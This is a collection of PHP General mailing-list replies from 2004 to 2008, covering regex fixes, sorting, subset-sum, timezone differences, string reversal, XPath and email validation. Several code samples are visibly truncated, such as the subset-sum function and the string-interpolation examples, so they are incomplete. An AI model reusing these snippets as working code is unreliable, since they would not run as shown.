On Tue, 22 Jun 2004 14:57:28 -0400, Ryan Schefke <[EMAIL PROTECTED]> wrote: > > Could someone please help me with an eregi statement. > > I have a string that can vary as such: > > client1/album/album_121-2132_IMG.JPG > > client2/album/album_121-2132_IMG.JPG > > client59/album/album_121-2132_IMG.JPG > > client499887/album/album_121-2132_IMG.JPG > > I want to select whatever comes after the last forward slash, like > album_121-2132_IMG.JPG preg_match('#client[[:digit:]]+/album/(album_[[:digit:]]{3}-[[:digit:]]{4}_IMG\.JPG)#i', $string, $matches); -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Case insensitive ksort
On 18/09/2007, Christoph Boget <[EMAIL PROTECTED]> wrote: > I looked in the docs but didn't see anything regarding case > insensitivity and I fear the functionality doesn't exist. I'm just > hoping I'm looking in the wrong place. > > Is there a way to get ksort to work without regard to case? When I > sort an array using ksort, all the upper case keys end up at the top > (sorted) and all the lower case keys end up at the bottom (sorted). > Ideally, I'd like to see all the keys sorted (and intermixed) > regardless of case. Am I going to have to do this manually? Or is > there an internal php command that will do it for me? uksort($array, 'strcasecmp'); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Looking for help with a complex algorithm
On 09/10/2007, Jay Blanchard <[EMAIL PROTECTED]> wrote: > Good afternoon gurus and guru-ettes! > > I am searching for an algorithm that will take a list of monetary values > and determine which of these values totals a value supplied to the > widget. > > 1. I supply a value to the application and give a date range > 2. The application will query for all of the values in the date range > 3. The application will determine which of the values will total the > supplied value > a. if the total values in the date range do not add up to the > supplied value the application will return that info. (I have this done > already) > 4. The application will return the records comprising the total value > given > > For instance I supply 10.22 and a date range of 2007-10-01 to 2007-10-05 > > Values in the range; > 3.98 > 9.77 > 3.76 > 4.13 > 7.86 > 1.45 > 12.87 > 10.01 > 0.88 > > Values comprising the total; > 3.76 > 4.13 > 1.45 > 0.88 > > It is possible to have duplicate values, so we will have to assume that > the first one of the dupes is correct, the records will be sorted by > date. I have been working with a recursive function, but so far the > results are not pretty and it is getting too complex. > > FYI, this is very similar to the "knapsack problem"" in dynamic > programming. it is a special case of the knapsack problem - the "subset sum" problem. You'll need to be aware that it's of exponential complexity. So make sure your lists of possible values don't get big. Anyway, here's my answer: $target) continue 2; return array_merge($listA[$A], $listB[$B]); } } return false; } function powerset($list) { if (empty($list)) return array(); $value = array_pop($list); $A = powerset($list); $B = array(); foreach ($A as $set) { $set[] = $value; $B[(string) array_sum($set)] = $set; } return array_merge(array("$value" => array($value)), $A, $B); } ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] problem calling functions
On 19/10/2007, afan pasalic <[EMAIL PROTECTED]> wrote: > hi > I have a problem with calling functions: > > function solution1($var1){ > // some code > } > > function solution2($var2){ > // some code > } > > function solution3($var3){ > // some code > } > > if ($function == 'solution1' or $function == 'solution2' or $function == > 'solution3') > { > $my_solution = $function($var); # this supposed to call one of > "solution" functions, right? > } > ?> > > suggestions? suggestions for what? What is your problem? If you set $function to 'solution1' and run your code, it will indeed execute solution1(). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] problem calling functions
On 19/10/2007, afan pasalic <[EMAIL PROTECTED]> wrote: > > > Robin Vickery wrote: > > On 19/10/2007, afan pasalic <[EMAIL PROTECTED]> wrote: > > > >> hi > >> I have a problem with calling functions: > >> > >> >> function solution1($var1){ > >> // some code > >> } > >> > >> function solution2($var2){ > >> // some code > >> } > >> > >> function solution3($var3){ > >> // some code > >> } > >> > >> if ($function == 'solution1' or $function == 'solution2' or $function == > >> 'solution3') > >> { > >> $my_solution = $function($var); # this supposed to call one of > >> "solution" functions, right? > >> } > >> ?> > >> > >> suggestions? > >> > > > > suggestions for what? > > > > What is your problem? If you set $function to 'solution1' and run your > > code, it will indeed execute solution1(). > > > > -robin > > > > the problem is that this code doesn't work. and I was asking where is > the problem, or can I do it this way at all. Firstly, the code you posted does indeed work fine. Secondly, you need to learn to ask questions properly: What do you expect the code to do? What is it actually doing? Are there any error messages, if so what are they? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Limitations of preg_replace?
On 25/10/2007, Werner Schneider <[EMAIL PROTECTED]> wrote: > Hi. > > Are there any limitations of preg_replace and is there > a way to change them (for example with ini_set)? > > I got a php 4.4.7 on a linux-webhoster which crashes > without error-message on this script: > $txt = ""; > for ($i = 0; $i < 2000; $i++) > { $txt .= " title\">\n"; > } > $txt = > preg_replace("//isU", > "", $txt); > print $txt; > ?> > If I loop only 1000 times or don't use (.*)->$1 on the > regular expression, it works. It works as well on a > local WAMP-Installation. > > Any ideas about that? Yeah, the backtrack limit. But 1. it's not configurable in PHP 4 2. You'd be better off writing your regexp so it doesn't have to backtrack all the way through a 150KB string. Try replacing .* with [^>]* -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] REGEX: grouping of alternative patterns
On 30/10/2007, Stijn Verholen <[EMAIL PROTECTED]> wrote: > Hey list, > > I'm having problems with grouped alternative patterns. > The regex I would like to use, is the following: > > /\s*(`?.+`?)\s*int\s*(\(([0-9]+)\))?\s*(unsigned)?\s*(((auto_increment)?\s*(primary\s*key)?)|((not\s*null)?\s*(default\s*(`.*`|[0-9]*)?)?))\s*/i > > It matches this statement: > > `id` INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY > > But not this: > > `test4` INT(11) UNSIGNED NOT NULL DEFAULT 5 > > However, if I switch the alternatives, the first statement doesn't > match, but the second does. > FYI: In both cases, the column name and data type are matched, as expected. > It appears to be doing lazy evaluation on the pattern, even though every > resource I can find states that every alternative is tried in turn until > a match is found. It's not lazy. Given alternate matching subpatterns, the pcre engine choses the leftmost pattern, not the longest. For instance: Array ( [0] => a ) This isn't what you'd expect if you were familiar with POSIX regular expressions, but matches Perl's behaviour. Because each of your subpatterns can match an empty string, the lefthand subpattern always matches and the righthand subpattern might as well not be there. The simplest solution, if you don't want to completely rethink your regexp might be to replace \s with [[:space:]], remove the delimiters and the i modifier and just use eregi(). like so: $pattern = '[[:space:]]*(`?.+`?)[[:space:]]*int[[:space:]]*(\(([0-9]+)\))?[[:space:]]*(unsigned)?[[:space:]]*(((auto_increment)?[[:space:]]*(primary[[:space:]]*key)?)|((not[[:space:]]*null)?[[:space:]]*(default[[:space:]]*(`.*`|[0-9]*)?)?))[[:space:]]*'; eregi($pattern, $column1, $matches); print_r($matches); // match eregi($pattern, $column2, $matches); print_r($matches); // match -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] moving over to php 5
On 30/10/2007, Per Jessen <[EMAIL PROTECTED]> wrote: > Larry Garfield wrote: > > > On Monday 29 October 2007, Per Jessen wrote: > >> Cristian Vrabie wrote: > >> > Hmm 117,223 hosts with php4 only support. Did you actually checked > >> > how many have php5 support? Many more. > >> > >> There are 178.112 hosters that have PHP5 support. I checked. > > > > Where and how did you check? > > Well, I didn't. I just provided a silly answer to an impossible > question. There is no way anyone could possibly come up with a > remotely accurate number of how many hosters have this or that. So I > made the numbers up. $RANDOM. > > > I have a hard time believing that there are 300,000 different > > commercial web hosting companies out there. That many servers, sure, > > but companies? > > 300,000 is probably a lot, yes. Still, Switzerland alone has roughly > 335.000 companies. About 400 of those are members of a Swiss > association for ISPs, but there's probably another couple of hundred > that aren't. Extrapolating from e.g. 500 webhosters for a population > of 7million, that would make roughly 35,000 in the EU (pop. 480mill). Besides, the set of fictitious companies that support PHP4 and the set of fictitious companies that support PHP5 probably intersect to a large extent. In fact, I researched the matter thoroughly a couple of minutes ago and found that 108,064 companies support both versions of PHP, so there's only a total of 187,271 PHP hosting companies. Anyone still do PHP/FI? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] while-do +array
On 31/10/2007, Steven Macintyre <[EMAIL PROTECTED]> wrote: > Hiya, > > I have the following code ... which only seems to result in one item ... > which is incorrect ... can anyone spot my problem? > > if ($armbase != "") { > $options = explode(",", $armbase); > $text .= ''; > $get_endRow = 0; > $get_columns = 8; > $get_hloopRow1 = 0; > > do { > if($get_endRow == 0 && $get_hloopRow1++ != 0) { > $text .= ''; > $text .= ''; > $text .= " src='".e_BASE."images/options/armbase/".$value."'>"; > $text .= ''; > $get_endRow++; > } > if($get_endRow >= $get_columns) { > $text .= ''; > $get_endRow = 0; > } > } while(list($key,$value) = each($options)); The first time around the loop, both $key and $value are undefined, as you're not setting them until the end condition. But that's not a big deal as nothing gets done first time through the loop except for $get_hloopRow1 getting incremented. The next time through the loop, because $get_hloopRow1 is now not zero, the first conditional gets executed. You add some html and the first value from the array to $text to the string and incremenent $get_endRow. All subsequent times through the loop, nothing gets done because the $get_endRow == 0 condition fails. $get_endRow never gets incrememented again. that help at all? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Not Null?
On 31/10/2007, Steve Marquez <[EMAIL PROTECTED]> wrote: > Greetings, > > I have a script that looks for the variable to be NULL and then execute. Is > there a way for the script to look for anything or something in the variable > and then execute? > > Ex: > > If (Œ$a¹ == Œ ANYTHING¹) { oh dear, krazee quotes... at least I presume that's what those wierd characters are. Look in the manual for isset() (http://www.php.net/isset) and empty() (http://www.php.net/empty). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How to replace define in a require file with mysql?
On 05/11/2007, Zoltán Németh <[EMAIL PROTECTED]> wrote: > 2007. 11. 5, hétfő keltezéssel 06.10-kor Ronald Wiplinger ezt írta: > > Jim Lucas wrote: > > > Ronald Wiplinger wrote: > > >> I have a file linked with require into my program with statements like: > > >> > > >> define("_ADDRESS","Address"); > > >> define("_CITY","City"); > > >> > > >> I would like to replace this with a mysql table with these two fields > > >> (out of many other fields). > > >> > > >> How can I do that? > > >> > > >> bye > > >> > > >> Ronald > > >> > > > Well, if you have all the settings in a DB already, then what I would > > > do is this. > > > > > > SELECT param_name, param_value FROM yourTable; > > > > > > then > > > > > > while ( list($name, $value) = mysql_fetch_row($results_handler) ) { > > > define($name, $value); > > > } > > > > > > put this in place of your existing defines and you should be good. > > > > > > > Thanks! Works fine! > > I need now a modification for that. > > > > Two values: > > SELECT param_name, param_value1, param_value2 FROM yourTable; > > > > IF param_value1 is empty, than it should use param_value2 > > try something like this sql: > > SELECT param_name, IF ((param_value1 <> '') AND NOT > ISNULL(param_value1), param_value1, param_value2) AS param_value FROM > yourTable or use COALESCE() (http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_coalesce) SELECT param_name, COALESCE(param_value1, param_value2) AS param_value FROM yourTable; -robin
Re: [PHP] stftime differences on Windows/Linux platforms
On 06/11/2007, Neil Saunders <[EMAIL PROTECTED]> wrote: > Hi All, > > I'm experiencing some differences in in the return values of strftime > on Windows & Linux platforms on PHP 5.2.1. I've knocked up a test case > to demonstrate the bug: > > > $UNIX_TIME = mktime(0,0,0,5,31,2008); > echo "Time Made for 31-05-2008: $UNIX_TIME\n"; > echo "Expected Time for 31-05-2008: 1212188400\n"; > echo "Formated generated:" . > strftime("%d-%m-%Y", $UNIX_TIME) . "\n"; > echo "Formated expected: " . > strftime("%d-%m-%Y", 1212188400) . "\n"; > echo "Difference between expected and generated: " . ($UNIX_TIME - > 1212188400); > echo "\n\n"; > ?> > > OUTPUT DEVELOPMENT: > > C:\>php -e c:\test.php > Time Made for 31-05-2008: 1212188400 > Expected Time for 31-05-2008: 1212188400 > Formated generated:31-05-2008 > Formated expected: 31-05-2008 > Difference between expected and generated: 0 > > OUTPUT PRODUCTION: > > Time Made for 31-05-2008: 1212192000 > Expected Time for 31-05-2008: 1212188400 > Formated generated:31-05-2008 > Formated expected: 30-05-2008 > Difference between expected and generated: 3600 > > Development Config: > > PHP Version 5.2.1 > PHP API 20041225 > PHP Extension 20060613 > Zend Extension 220060519 > > Production Config: > > PHP Version 5.2.1 > Build Date Apr 25 2007 18:04:12 > PHP API 20041225 > PHP Extension 20060613 > Zend Extension 220060519 > > Am I missing something obvious here? Any help gratefully received. Well, either the clocks on your dev and production servers are exactly 6 hours out or there's a difference in their locale settings such that one thinks it's in a timezone 6 hours ahead of the other. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] stftime differences on Windows/Linux platforms
On 06/11/2007, Neil Saunders <[EMAIL PROTECTED]> wrote: > Hi Robin, > > Thanks for your reply. The times are exactly synchronized. I'm looking > at the date section in the output of phpinfo(), and get the following: > > Development > Default timezoneEurope/London > > Production: > Default timezoneUTC > > Although the timezones are different, my understanding is the UTC is a > synonym for GMT, which is based in London. This appears to be > confirmed by looking at the default latitudes and longitudes and they > match up. > > Either way, setting the timezone to Europe/London in production fixed > the issue. Thanks again for your help. Aye, sorry. I don't know what I was thinking, when I said six hours; the difference is of course 60 minutes. The Dev server is in Europe/London, which is adjusted by an hour during British Summer Time. The production server was using UTC. Because the date (31 May) was within BST, there was an hour difference between the two. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] enhanced_list_box, 2 tables from a database
On 07/11/2007, kNish <[EMAIL PROTECTED]> wrote: > Hi, > > A newbie question. I have more than one table to access from a database. > > When I use the code as below, it gives no response on the web page. > > What may I do to run more than one table from the same database into the > script. Firstly, turn error reporting on, or at least look in your logs for error messages. Secondly, you're defining the enhanced_list_box() function twice. That's not allowed. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Help with preg_replace
On 08/11/2007, Jochem Maas <[EMAIL PROTECTED]> wrote: > Al wrote: > > Delimiters needed. Can use about anything not already in your pattern. > > "/" is very commonly used; but I like "#" or "%" generally; but, you > > can't use "%" because your pattern has it. > > > > $html = preg_replace("#%ResID#",$bookid,$html); > > wont a str_replace() do just fine in this case? > > // and we can do backticks too ;-) > $html = str_replace("%ResID", $bookid, `cat htmlfile`); As Jochem said. But don't use backticks, use file_get_contents(). It's portable and you don't start up a new process just to read a file. $html = str_replace('%ResID', $bookid, file_get_contents('htmlfile')); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Need a hint how to track an error
On 12/11/2007, Ronald Wiplinger <[EMAIL PROTECTED]> wrote: > Chris wrote: > > Ronald Wiplinger wrote: > >> My php program is working with Firefox, but not with Internet Explorer. > > > > Nothing to do with php, your problem is javascript. > > > >> Is there a tool to find the problem? > > > > For IE, try > > > > http://www.microsoft.com/downloads/details.aspx?familyid=e59c3964-672d-4511-bb3e-2d5e1db91038&displaylang=en > > > > > > Why do you guys assume javascript You gave no reason to think otherwise, given you only posted a javascript error > I am disappointed that after switching totally from XP to Ubuntu to > suggest me a Windows tool! I installed in a VirtualBox XP again and > above tool helped me to find the mistake: Didn't you say that the problem occured in Internet Explorer? "My php program is working with Firefox, but not with Internet Explorer." I think it's reasonable for Chris to suggest a debugger for the platform which you said had the problem. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Tree-like structure in PHP?
On 16/11/2007, Paul van Haren <[EMAIL PROTECTED]> wrote: > I'm trying to use arrays to implement a sort of data tree. For the code to > work, it is essential that the nodes can be edited after they have become > part of the tree. That would require that the array elements are pushed > "by reference" rather than "by value". > > > $arr1 = array (); > $arr2 = array (); > > array_push ($arr1, 1); > array_push ($arr1, $arr2); // <-- the important line array_push ($arr1, &$arr2); or $arr1[] =& $arr2; -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Should I put pictures into a database?
On 28/11/2007, AmirBehzad Eslami <[EMAIL PROTECTED]> wrote: > On Wednesday 21 November 2007 03:14:43 Ronald Wiplinger wrote: > > I have an application, where I use pictures. The size of the picture is > > about 90kB and to speed up the preview, I made a thumbnail of each > > picture which is about 2.5 to 5kB. > > I use now a directory structure of ../$a/$b/$c/ > > I rather to store images on the file-system, since database is another > level over the file-system. However, I still need to store a pointer for > every image into the database. This leads to storing the file names > twice: one time in file-system, and one time in db. > Isn't this redundancy? Think of it as a foreign key. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Generating Random Numbers with Normal Distribution
On 10/12/2007, Nathan Nobbe <[EMAIL PROTECTED]> wrote: > On Dec 10, 2007 5:29 PM, Robert Cummings <[EMAIL PROTECTED]> wrote: > > > On Mon, 2007-12-10 at 14:22 -0600, Jay Blanchard wrote: > > > [snip] > > > Can you say for certain nature is truly random? Just because the seed > > > may have occurred 13.7 billion years ago and we don't know what that > > > initial state was and we couldn't possibly calculate all the > > > interactions since, doesn't mean that everything since hasn't been > > > happening in accordance with some universal formula and in absence of > > > randomness. We know that there appear to be certain laws in physics, > > > would they not have applied to that initial state in a non random > > > manner? It may just be that due to the hugantic sample space from which > > > to draw arbitrary values that we think things are random. > > > > > > Food for thought :) > > > [/snip] > > > > > > Without order there cannot be randomness. > > > > But is the reverse true? > > > i would have to say randomness came before order. but i suppose thats a > chicken > and egg problem.. In the worlds before Monkey, primal chaos reigned. Heavens sought order. But the phoenix can fly only when its feathers are grown. The four worlds formed again and yet again, as endless aeons wheeled and passed. Time and the pure essence of Heaven, the moisture of the Earth, the powers of the Sun and the Moon all worked upon a certain rock, old as creation. And it became magically fertile. That first egg was named "Thought". Tathagata Buddha, the Father Buddha, said, "With our thoughts, we make the World". Elemental forces caused the egg to hatch. From it came a stone monkey. The nature of Monkey was irrepressible! Monkeey -robin [I'll get my coat...] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Generating Random Numbers with Normal Distribution
On 12/12/2007, Daniel Brown <[EMAIL PROTECTED]> wrote: > On Dec 12, 2007 9:00 AM, tedd <[EMAIL PROTECTED]> wrote: > > At 3:04 PM -0500 12/10/07, Daniel Brown wrote: > > > Unfortunately, because computers are logical, there's no such > > >thing (at least as of yet) as a truly random number being generated by > > >a machine. > > > Unless the computer is tied to a peripheral that samples nature. > > In which case the random number is not being generated by the > computer, but rather derived from data interpreted from nature. Can you define for me where the machine stops and nature starts? I mean, if I make a clock that uses the physical properties of a pendulum to demarcate units of time then the pendulum is obviously part of the machine. But if I make a computer that uses the physical properties of a radio-isotope to generate random numbers, you seem to be be saying that the radio-isotope is not part of the machine, but instead part of nature. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Opinion about the using $GLOBALS directly
On 19/12/2007, js <[EMAIL PROTECTED]> wrote: > Hi Jochem, > > Sorry, I missed "static". > So, getDB() would works like singleton, right? > I agree that's better method to manage dbh. The technique is called memoization (http://en.wikipedia.org/wiki/Memoization). -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] fail on preg_match_all
On 21/02/2008, Nathan Rixham <[EMAIL PROTECTED]> wrote: > The regex looks incorrect to me in a few places: > -\d+] {1,4} > for example. That's ok, albeit confusing: * The ']' is a literal ']' not the closing bracket of a character class. * The {1,4} applies to the space character. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Copying specific fields from table to table
On 25/02/2008, Rob Gould <[EMAIL PROTECTED]> wrote: > I've got 2 tables. One table which contains a series of barcodes assigned to > product id #'s, and another table with JUST product id #'s. > > I need to somehow transfer all the barcodes from the first table into the > second table, but only where the id #'s match. MySQL? This will update every row in table 2 to have the barcode from table 1. UPDATE table2 INNER JOIN table1 USING (id) SET table2.barcode = table1.barcode; -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] reverse string without strrev();
On 28/02/2008, Robert Cummings <[EMAIL PROTECTED]> wrote: > > On Thu, 2008-02-28 at 12:39 +, Nathan Rixham wrote: > > Aschwin Wesselius wrote: > > > Stut wrote: > > >> Just because it works doesn't mean it's right. > > >> > > >> -Stut > > >> > > > > > > > > > What I meant was that I tested the script and it worked, so I didn't > > > spot the flaw (wich is obvious and you were right). > > > > > > No big deal. > > > > > > > should it not use curlies? > > > > $tmp = ''; > > $str = 'abcdef'; > > for ($i = strlen($str)-1; $i >= 0; $i--) { > > $tmp.= $str{$i}; > > } > > echo $tmp; > > > > > > here's the "overkill" way to do it: > > > > $str = 'abcdef'; > > $rev = implode(array_flip(array_reverse(array_flip(str_split($str); > > echo $rev; > > > > *sniggers* > > > There's always a tradeoff between speed and memory. Here's the low > memory version: > > > $str = '1234567'; > str_reverse_in_place( $str ); > echo 'Reversed: '.$str."\n"; > > function str_reverse_in_place( &$str ) > { > $a = 0; > $z = strlen( $str ) - 1; > > while( $a < $z ) > { > $t = $str[$a]; > $str[$a] = $str[$z]; > $str[$z] = $t; > > ++$a; > --$z; > } > } > > ?> every byte counts :-) function str_reverse_in_place( &$str ) { $a = -1; $z = strlen($str); while( ++$a < --$z ) { $str[$a] = $str[$a] ^ $str[$z]; $str[$z] = $str[$a] ^ $str[$z]; $str[$a] = $str[$a] ^ $str[$z]; } } -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Playing around with strings
Hiyah, Here's a trick you can use to evaluate expressions within strings. It may not be particularly useful, but I thought it was interesting. It exploits two things: 1. If you interpolate an array element within a string, the index of the element is evaluated as a php expression. 2. You can can make your own magic arrays by extending arrayObject. You can extend it to add your own formatting elements: -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] why use {} around vraiable?
On 20/03/2008, Lamp Lists <[EMAIL PROTECTED]> wrote: > hi, > I saw several times that some people use this > > $parameters = array( > 'param1' => "{$_POST["param1"]}", > 'param2' => "{$_POST["param2"]}" > ); > > or > > $query = mysql_query("SELECT * FROM table1 WHERE id='{$session_id}'"); > > I would use: > > $parameters = array( > 'param1' => $_POST["param1"], > 'param2' => $_POST["param2"] > ); > > and > > $query = mysql_query("SELECT * FROM table1 WHERE id=' ".$session_id." ' "); > > > does it really matter? is there really difference or these are just two > "styles"? yes, it matters when you're trying to include a complex variable "this is a $variable"; # ok "this is an $array[12]"; # ok "this is an $array[word]"; # warning under E_STRICT "this is an $array[two words]"; # not ok, can't have whitespace "this is an {$array[two words]}"; # not ok, indexes should be quoted "this is an {$array['two words']}"; # ok "this is an $object->property"; # ok if you're after the property "this is an {$object}->property"; # but you need brackets if you want the object as a string etc... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Playing around with strings
On 20/03/2008, Robin Vickery <[EMAIL PROTECTED]> wrote: > Hiyah, > > Here's a trick you can use to evaluate expressions within strings. It > may not be particularly useful, but I thought it was interesting. > > It exploits two things: > > 1. If you interpolate an array element within a string, the index of > the element is evaluated as a php expression. > > 2. You can can make your own magic arrays by extending arrayObject. > > >class identityArrayObject extends arrayObject > { > public function offsetGet($index) > { > return $index; > } > } > > $eval = new identityArrayObject; > > print "The square root of {$eval[pow(2,2)]} is {$eval[sqrt(4)]} \n"; > > print "Price: $price GBP ({$eval[$price * 1.175]} GBP including tax) \n"; > > ?> > > You can extend it to add your own formatting elements: > >class uppercaseArrayObject extends arrayObject > { > public function offsetGet($index) > { > return strtoupper($index); > } > } > > $U = new uppercaseArrayObject; > $city = 'edinburgh'; > > print "The capital of Scotland is $U[$city] \n"; > ?> > More generic: transform = is_null($transform) ? array($this, 'identity') : $transform; } public function offsetGet($index) { return call_user_func($this->transform, $index); } public function identity($index) { return $index; } } $eval = new transformArrayObject; $U= new transformArrayObject('strtoupper'); $u= new transformArrayObject('ucfirst'); $L= new transformArrayObject('strtolower'); $GBP = new transformArrayObject(create_function('$index', 'return money_format("%n", $index);')); $price = 50; $tax = 1.175; $city = 'EdInBurGH'; print "A ticket to $U[$city] is: $GBP[$price] ({$GBP[$price * $tax]} including VAT)\n"; // A ticket to EDINBURGH is: £50.00 (£58.75 including VAT) ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Possible using XPath?
On 27/03/2008, Christoph Boget <[EMAIL PROTECTED]> wrote: > Let's say I have the following structure: > > > > > > > > > > > > > > > > > > > > > > > > > > By using the following XPath query > > //[EMAIL PROTECTED]"gc3"]/child > > I can get the child nodes of "gc1". But what I'd really like to get > is the sub branch/path going back to the root. So instead of just > returning the two nodes > > > > > I'd like to be able to return the sub branch/path > > > > > > > > > > > Is that possible? Or is this something I'd have to do programatically > using the nodes returned by the XPath query? Basically, I'm just > trying to get a fragment of the larger xml document... //[EMAIL PROTECTED]'gc3']/child/ancestor-or-self::* -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Possible using XPath?
On 27/03/2008, Christoph Boget <[EMAIL PROTECTED]> wrote: > > > Is that possible? Or is this something I'd have to do programatically > > > using the nodes returned by the XPath query? Basically, I'm just > > > trying to get a fragment of the larger xml document... > > //[EMAIL PROTECTED]'gc3']/child/ancestor-or-self::* > > > Thanks for the response. However, I must be doing something wrong > here. The test script below isn't doing what I'm expecting: > > $xml = ' id="c1">Great Grand Child > 1Great Grand Child 2 id="gc2">Great Grand Child 3 id="ggc4">Great Grand Child 4 id="c2">Great Grand Child > 5Great Grand Child 6 id="gc4">Great Grand Child 7 id="ggc8">Great Grand Child 8'; > > $doc = new DOMDocument('1.0', 'UTF-8'); > $doc->loadXML( $xml ); > > $xpath = new DOMXPath($doc); > $nodeList = $xpath->query("//[EMAIL > PROTECTED]'gc3']/child/ancestor-or-self::*"); > > echo 'Got list list of [' . $nodeList->length . '] nodes:'; > for ($i = 0; $i < $nodeList->length; $i++) { > echo $nodeList->item($i)->nodeValue . "\n"; > } > Only the nodes specified are in the list, but the *values* of the those nodes include children that aren't in the list. change your for-loop to this and you'll see just the expected nodes: foreach ($nodeList as $node) { echo $node->tagName, ' : ', $node->getAttribute('id'), "\n"; } does that make sense? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Quick email address check
On 28/03/2008, Bastien Koert <[EMAIL PROTECTED]> wrote: > On Thu, Mar 27, 2008 at 10:23 PM, Bill Guion <[EMAIL PROTECTED]> wrote: > > > At 1:28 PM -0400 3/26/08, Al wrote: > > > > >I'm scripting a simple registry where the user can input their name > > >and email address. > > > > > >I'd like to do a quick validity check on the email address they just > > >inputted. I can check the syntax, etc. but want check if the address > > >exists. I realize that servers can take a long time to bounce etc. > > >I'll just deal with this separately. > > > > > >Is there a better way than simply sending a test email to see if it > > bounces? > > > > > >Thanks > > > > I've had pretty good success from the following: > > > > after checking the syntax (exactly one @, at least one . to the right > > of the @, etc.), if it passes the syntax check, I then set $rhs to > > everything to the right of the @. Then I test: > > > > if (!checkdnsrr($rhs, 'MX')) > > { > > invalid > > } > > else > > { > > valid > > } > > > > -= Bill =- > > -- > > > > You can't tell which way the train went by looking at the track. > > > > > > > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > I have used this to good effect > > function isEmail($email) > { > if > (eregi("^[a-z0-9]+([-_\.]?[a-z0-9])[EMAIL > PROTECTED]([-_\.]?[a-z0-9])+\.[a-z]{2,4}",$email)) > { > return TRUE; > } else { > return FALSE; > } > }//end function I often have a '+' in my email address (which is perfectly valid) and it really annoys me when a site refuses to accept it. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array_filter function
On 28/03/2008, Bagus Nugroho <[EMAIL PROTECTED]> wrote: > Hello, > > If I have an array like this > $dataArray = array(0=>array('type'=>'da'), 1=>array('type'=>'wb'), > 2=>array('type'=>'da'); > > How I can filtering to get only 'da' only, like this > > $newDataArray = array(0=>array('type'=>'da'),2=>array('type'=>'da')) $newDataArray = array_filter($dataArray, create_function('$a','return $a["type"] == "da";')); -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP GD library installing
On 10/04/2008, Thijs Lensselink <[EMAIL PROTECTED]> wrote: > Quoting Luca Paolella <[EMAIL PROTECTED]>: > > > > How do I install/activate the GD library with my existing PHP version? > > I'm quite sure it isn't already, since I got this error: > > > > Fatal error: Call to undefined function imagecreate() in > > > /Volumes/Data/Users/luca/Library/WebServer/Documents/reloadTest/image.php > on > > line 6 > > > > Please forgive my ignorance, and thanks for your help > > > > > > On windows it's as easy as downloading the dll from pecl4win.php.net. > > But from your directory structure i presume you have some sort of *nix > system. > So you have to reconfigure and rebuild PHP. Ouch... first try installing the php gd module through whatever package manager your *nix distribution uses. For instance, on Ubuntu linux you'd do: sudo aptitude install php5-gd -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP GD library installing
